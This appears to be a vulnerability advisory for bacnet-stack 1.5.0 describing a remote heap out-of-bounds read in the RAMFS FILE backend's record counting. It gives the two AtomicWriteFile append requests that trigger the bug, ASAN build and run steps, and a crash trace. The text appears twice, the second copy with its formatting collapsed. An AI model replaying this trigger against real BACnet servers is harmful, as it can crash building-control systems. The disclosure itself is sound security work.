Summary
In bacnet-stack 1.5.0 (master branch commit 932e347), the RAMFS-backed FILE object implementation stores appended records as NUL-terminated strings, but its record-counting logic later walks the buffer as if an additional terminating empty record were present. As a result, two consecutive AtomicWriteFile(record-access) append requests can cause record_count() to call bacnet_strnlen() on a pointer that is already one byte past the end of the heap allocation.
The issue is remotely reachable through the normal BACnet AtomicWriteFile service path. In an affected deployment, a client only needs to append two records to the same writable FILE object to trigger the out-of-bounds read, potentially causing a crash, denial of service, or other undefined behavior.
Details
Affected code is located in:
src/bacnet/basic/service/h_awf.c
src/bacnet/basic/object/bacfile.c
src/bacnet/basic/sys/bramfs.c
src/bacnet/bacstr.c
Relevant logic:
handler_atomic_write_file_encode() accepts FILE_RECORD_ACCESS requests as long as fileStartRecord >= -1.
- When
fileStartRecord == -1, the request is treated as an append and is forwarded through:
handler_atomic_write_file_encode()
-> bacfile_write_record_data()
-> bacfile_write_record_data_callback()
-> bacfile_ramfs_write_record_data()
- At the start of
bacfile_ramfs_write_record_data(), the RAMFS backend counts existing records with:
fileRecordCount = record_count(pFile->data);
record_count() walks the record buffer like this:
do {
len = bacnet_strnlen(records, MAX_OCTET_STRING_BYTES);
if (len > 0) {
count++;
records = records + len + 1;
}
} while (len > 0);
- The append branch in
bacfile_ramfs_write_record_data() grows the heap allocation by exactly fileDataStrLen + 1 and writes only:
- This layout does not append an additional empty-record sentinel after the terminating NUL.
- If the file currently ends with exactly one NUL-terminated record,
record_count() scans that record, advances records by len + 1, and may land exactly at the end of the allocation.
record_count() then performs another bacnet_strnlen(records, MAX_OCTET_STRING_BYTES) on that already-out-of-bounds pointer.
bacnet_strnlen() is implemented with memchr(str, 0, maxlen), so this becomes an out-of-bounds heap read immediately.
PoC
A client PoC is provided.
poc.c
The PoC targets OBJECT_FILE, instance 1, on the target server and performs the following two requests:
AtomicWriteFile(OBJECT_FILE, 1, FILE_RECORD_ACCESS, fileStartRecord = -1, returnedRecordCount = 1, fileData[0] = "AAAA")
AtomicWriteFile(OBJECT_FILE, 1, FILE_RECORD_ACCESS, fileStartRecord = -1, returnedRecordCount = 1, fileData[0] = "BBBB")
The first request creates a 5-byte heap buffer containing AAAA\0. The second request reaches the same append path again, but now the pre-write record_count() traversal reads past the end of that 5-byte allocation before the second record is even appended.
Reproduction steps
1. Build the server with ASAN
cmake -S /home/user/bacnet-stack \
-B /home/user/bacnet-stack/build-asan \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_COMPILER=gcc \
-DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer -fno-common' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build /home/user/bacnet-stack/build-asan --target server-ramfs-1 -j"$(nproc)"
The reproduction uses a target named server-ramfs-1. This is not an example binary shipped by upstream bacnet-stack; it is a minimal local variant derived from the upstream apps/server example by switching the FILE object backend from the default POSIX-backed path to the RAMFS-backed path using the normal bacnet-stack integration style.
The exact source diff against apps/server/main.c is:
--- apps/server/main.c
+++ apps/server-ramfs-1/main.c
@@ -51,7 +51,7 @@
#endif /* defined(INTRINSIC_REPORTING) */
#include "bacnet/basic/object/bacfile.h"
#if defined BACNET_BACKUP_RESTORE
-#include "bacfile-posix.h"
+#include "bacnet/basic/sys/bramfs.h"
#endif
#if defined(BAC_UCI)
#include "bacnet/basic/ucix/ucix.h"
@@ -182,12 +182,14 @@
}
}
#if defined BACNET_BACKUP_RESTORE
- /* initialize the POSIX file object backend */
- bacfile_posix_init();
+ /* initialize the RAMFS file object backend */
+ bacfile_ramfs_init();
/* file for backup and restore example */
object_data.object_instance = bacfile_index_to_instance(0);
if (object_data.object_instance < BACNET_MAX_INSTANCE) {
bacfile_pathname_set(object_data.object_instance, "backup_1.bin");
+ bacfile_file_access_stream_set(object_data.object_instance, false);
Device_Configuration_File_Set(0, object_data.object_instance);
printf(
"Created %s-%u path=%s for backup and restore (%u files).\n",
2. Build the PoC client
The PoC is exposed through the top-level CMake configuration as the poc target.
cmake --build /home/user/bacnet-stack/build-asan --target poc -j"$(nproc)"
3. Start the server
env \
BACNET_DATALINK=bip \
BACNET_IFACE=lo \
BACNET_IP_PORT=47809 \
/home/user/bacnet-stack/build-asan/server-ramfs-1 260001
4. Run the PoC
env \
BACNET_DATALINK=bip \
BACNET_IFACE=lo \
BACNET_IP_PORT=47810 \
BACNET_IP_BROADCAST_PORT=47809 \
/home/user/bacnet-stack/build-asan/poc 260001 1
Observed crash
When the server is built with sanitizers, executing the second append request triggers a heap-buffer-overflow in bacnet_strnlen(), reached through record_count().
==496261==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000009c75 at pc 0x7f922ced508d bp 0x7ffc389d5280 sp 0x7ffc389d4a28
READ of size 1 at 0x602000009c75 thread T0
#0 0x7f922ced508c in __interceptor_memchr ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:874
#1 0x55d96f2b0afb in bacnet_strnlen /home/user/bacnet-stack/src/bacnet/bacstr.c:1999
#2 0x55d96f18cade in record_count /home/user/bacnet-stack/src/bacnet/basic/sys/bramfs.c:275
#3 0x55d96f18ce46 in bacfile_ramfs_write_record_data /home/user/bacnet-stack/src/bacnet/basic/sys/bramfs.c:347
#4 0x55d96f069c45 in bacfile_write_record_data_callback /home/user/bacnet-stack/src/bacnet/basic/object/bacfile.c:330
#5 0x55d96f06eceb in bacfile_write_record_data /home/user/bacnet-stack/src/bacnet/basic/object/bacfile.c:1204
#6 0x55d96f16f294 in handler_atomic_write_file_encode /home/user/bacnet-stack/src/bacnet/basic/service/h_awf.c:155
#7 0x55d96f16f7a1 in handler_atomic_write_file /home/user/bacnet-stack/src/bacnet/basic/service/h_awf.c:209
#8 0x55d96f16b827 in apdu_handler /home/user/bacnet-stack/src/bacnet/basic/service/h_apdu.c:609
#9 0x55d96f067d51 in npdu_handler /home/user/bacnet-stack/src/bacnet/basic/npdu/h_npdu.c:279
#10 0x55d96f05d710 in main /home/user/bacnet-stack/apps/server-ramfs-1/main.c:430
#11 0x7f922c1da082 in __libc_start_main ../csu/libc-start.c:308
#12 0x55d96f05bf2d in _start (/home/user/bacnet-stack/build-asan/server-ramfs-1+0x3f0f2d)
0x602000009c75 is located 0 bytes to the right of 5-byte region [0x602000009c70,0x602000009c75)
allocated by thread T0 here:
#0 0x7f922cf94c3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
#1 0x55d96f18d594 in bacfile_ramfs_write_record_data /home/user/bacnet-stack/src/bacnet/basic/sys/bramfs.c:393
#2 0x55d96f069c45 in bacfile_write_record_data_callback /home/user/bacnet-stack/src/bacnet/basic/object/bacfile.c:330
#3 0x55d96f06eceb in bacfile_write_record_data /home/user/bacnet-stack/src/bacnet/basic/object/bacfile.c:1204
#4 0x55d96f16f294 in handler_atomic_write_file_encode /home/user/bacnet-stack/src/bacnet/basic/service/h_awf.c:155
#5 0x55d96f16f7a1 in handler_atomic_write_file /home/user/bacnet-stack/src/bacnet/basic/service/h_awf.c:209
#6 0x55d96f16b827 in apdu_handler /home/user/bacnet-stack/src/bacnet/basic/service/h_apdu.c:609
#7 0x55d96f067d51 in npdu_handler /home/user/bacnet-stack/src/bacnet/basic/npdu/h_npdu.c:279
#8 0x55d96f05d710 in main /home/user/bacnet-stack/apps/server-ramfs-1/main.c:430
#9 0x7f922c1da082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:874 in __interceptor_memchr
Shadow bytes around the buggy address:
0x0c047fff9330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff9340: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff9350: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff9360: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff9370: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x0c047fff9380: fa fa 00 07 fa fa 00 00 fa fa 00 00 fa fa[05]fa
0x0c047fff9390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff93a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff93b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff93c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff93d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==496261==ABORTING
This crash report shows that:
- the request reaches the server's normal
AtomicWriteFile(record-access) handling path
- the first append creates a 5-byte heap allocation containing only
AAAA\0
- the second append re-enters
record_count() before extending the file
record_count() advances the cursor to exactly the end of the allocation and then scans again
bacnet_strnlen() performs the out-of-bounds read and the server crashes
Impact
This is a remote memory-safety issue on the server side. More specifically, it is a heap out-of-bounds read in the RAMFS FILE backend reachable through authenticated-or-unauthenticated BACnet network traffic, depending on deployment. In sanitizer builds it is an immediate crash. In non-sanitized builds it can still cause denial of service and other undefined behavior during normal AtomicWriteFile request processing.
Summary
In
bacnet-stack1.5.0 (masterbranch commit 932e347), the RAMFS-backed FILE object implementation stores appended records as NUL-terminated strings, but its record-counting logic later walks the buffer as if an additional terminating empty record were present. As a result, two consecutiveAtomicWriteFile(record-access)append requests can causerecord_count()to callbacnet_strnlen()on a pointer that is already one byte past the end of the heap allocation.The issue is remotely reachable through the normal BACnet
AtomicWriteFileservice path. In an affected deployment, a client only needs to append two records to the same writable FILE object to trigger the out-of-bounds read, potentially causing a crash, denial of service, or other undefined behavior.Details
Affected code is located in:
src/bacnet/basic/service/h_awf.csrc/bacnet/basic/object/bacfile.csrc/bacnet/basic/sys/bramfs.csrc/bacnet/bacstr.cRelevant logic:
handler_atomic_write_file_encode()acceptsFILE_RECORD_ACCESSrequests as long asfileStartRecord >= -1.fileStartRecord == -1, the request is treated as an append and is forwarded through:bacfile_ramfs_write_record_data(), the RAMFS backend counts existing records with:record_count()walks the record buffer like this:bacfile_ramfs_write_record_data()grows the heap allocation by exactlyfileDataStrLen + 1and writes only:record_count()scans that record, advancesrecordsbylen + 1, and may land exactly at the end of the allocation.record_count()then performs anotherbacnet_strnlen(records, MAX_OCTET_STRING_BYTES)on that already-out-of-bounds pointer.bacnet_strnlen()is implemented withmemchr(str, 0, maxlen), so this becomes an out-of-bounds heap read immediately.PoC
A client PoC is provided.
poc.c
The PoC targets
OBJECT_FILE, instance1, on the target server and performs the following two requests:AtomicWriteFile(OBJECT_FILE, 1, FILE_RECORD_ACCESS, fileStartRecord = -1, returnedRecordCount = 1, fileData[0] = "AAAA")AtomicWriteFile(OBJECT_FILE, 1, FILE_RECORD_ACCESS, fileStartRecord = -1, returnedRecordCount = 1, fileData[0] = "BBBB")The first request creates a 5-byte heap buffer containing
AAAA\0. The second request reaches the same append path again, but now the pre-writerecord_count()traversal reads past the end of that 5-byte allocation before the second record is even appended.Reproduction steps
1. Build the server with ASAN
The reproduction uses a target named
server-ramfs-1. This is not an example binary shipped by upstream bacnet-stack; it is a minimal local variant derived from the upstreamapps/serverexample by switching the FILE object backend from the default POSIX-backed path to the RAMFS-backed path using the normalbacnet-stackintegration style.The exact source diff against
apps/server/main.cis:2. Build the PoC client
The PoC is exposed through the top-level CMake configuration as the
poctarget.cmake --build /home/user/bacnet-stack/build-asan --target poc -j"$(nproc)"3. Start the server
4. Run the PoC
Observed crash
When the server is built with sanitizers, executing the second append request triggers a
heap-buffer-overflowinbacnet_strnlen(), reached throughrecord_count().This crash report shows that:
AtomicWriteFile(record-access)handling pathAAAA\0record_count()before extending the filerecord_count()advances the cursor to exactly the end of the allocation and then scans againbacnet_strnlen()performs the out-of-bounds read and the server crashesImpact
This is a remote memory-safety issue on the server side. More specifically, it is a heap out-of-bounds read in the RAMFS FILE backend reachable through authenticated-or-unauthenticated BACnet network traffic, depending on deployment. In sanitizer builds it is an immediate crash. In non-sanitized builds it can still cause denial of service and other undefined behavior during normal
AtomicWriteFilerequest processing.